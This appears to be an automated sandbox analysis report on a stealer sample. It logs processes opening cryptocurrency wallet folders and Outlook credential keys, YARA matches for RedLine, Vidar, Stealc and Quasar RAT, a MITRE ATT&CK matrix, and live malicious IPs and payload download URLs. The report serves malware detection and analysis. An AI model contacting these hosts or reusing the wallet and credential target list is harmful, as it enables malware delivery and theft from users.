Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VP2pdCInvS.exe PID: 4512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: newstart.exe PID: 2672, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c380000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2098178516.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2094530359.0000000000AA2000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED

Yara detected Quasar RAT

Source: Yara match	File source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1772, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.RegAsm.exe.436040.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.VP2pdCInvS.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.newstart.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.436040.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2095785467.0000000000892000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.3774634677.0000000000EC2000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z73fDV6g4L.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VP2pdCInvS.exe PID: 4512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: newstart.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: see.exe PID: 1868, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c380000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Scheduled Task/Job	512 Process Injection	11 Deobfuscate/Decode Files or Information	111 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	377 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	1 Install Root Certificate	NTDS	1 Query Registry	Distributed Component Object Model	111 Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	32 Software Packing	LSA Secrets	10101 Security Software Discovery	SSH	Keylogging	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	481 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	481 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	512 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mlk3kK6uLZ.exe	63%	ReversingLabs	Win32.Spyware.Redline
mlk3kK6uLZ.exe	72%	Virustotal		Browse
mlk3kK6uLZ.exe	100%	Avira	TR/Crypt.TPM.Gen
mlk3kK6uLZ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	100%	Avira	TR/AD.RedLineSteal.zwufg
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	92%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe	82%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	92%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	82%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	63%	ReversingLabs	Win32.Spyware.Redline
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.RedlineStealer
C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	82%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	64%	ReversingLabs	ByteCode-MSIL.Trojan.SpywareX
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	45%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
tmpfiles.org	3%	Virustotal	Browse
bflow-musico.fun	13%	Virustotal	Browse
foodbook.live	14%	Virustotal	Browse
api.proxyscrape.com	1%	Virustotal	Browse
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
tmpfiles.org	104.21.21.16	true	false	3%, Virustotal, Browse	unknown
bflow-musico.fun	188.114.96.3	true	false	13%, Virustotal, Browse	unknown
foodbook.live	15.235.80.22	true	false	14%, Virustotal, Browse	unknown
api.proxyscrape.com	104.18.11.5	true	true	1%, Virustotal, Browse	unknown
windowsupdatebg.s.llnwi.net	87.248.205.0	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.70/663cea891445d733/nss3.dll	true
https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all	true
http://85.28.47.70/663cea891445d733/vcruntime140.dll	true
http://85.28.47.70/663cea891445d733/msvcp140.dll	true
http://77.232.41.110/2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C	false
http://85.28.47.70/663cea891445d733/softokn3.dll	true
45.66.231.158	true
http://77.232.41.110/large/svchost.exe	false

URLs from Memory and Binaries

Name	Source	Malicious
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.phpZw	axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id23ResponseD	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003449000.00000004.00000800.00020000.00000000.sdmp	false
http://77.232.41.110/large/svchost.exet	espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	false
http://77.232.41.110/large/svchost.exer	espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	false
http://185.216.214.217/cdn-directory/wev233v22.exe.	axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id2Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000000.4044981578.00000000016E8000.00000080.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4457085471.0000000000938000.00000080.00000001.01000000.00000020.sdmp	false
http://tempuri.org/Entity/Id21Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.php~	axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.php00241001	axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/10/wsat	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
http://77.232.41.110/large/svchost.exeB	espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	false
http://Passport.NET/tb_	svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103913948.0000027EC1E00000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://85.28.47.70/	aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	true
https://api.ip.sb/ip	RegSvcs.exe, 00000025.00000002.4024278753.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe.5.dr	false
http://77.232.41.110/large/svchost.exe:	espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	false
https://stackoverflow.com/q/14436606/23354	FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4552683302.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	false
http://85.28.47.70:	aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.ver)	svchost.exe, 0000000C.00000002.3724129711.000001AA922B2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103455410.0000027EC0ECA000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80601~	svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id24Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
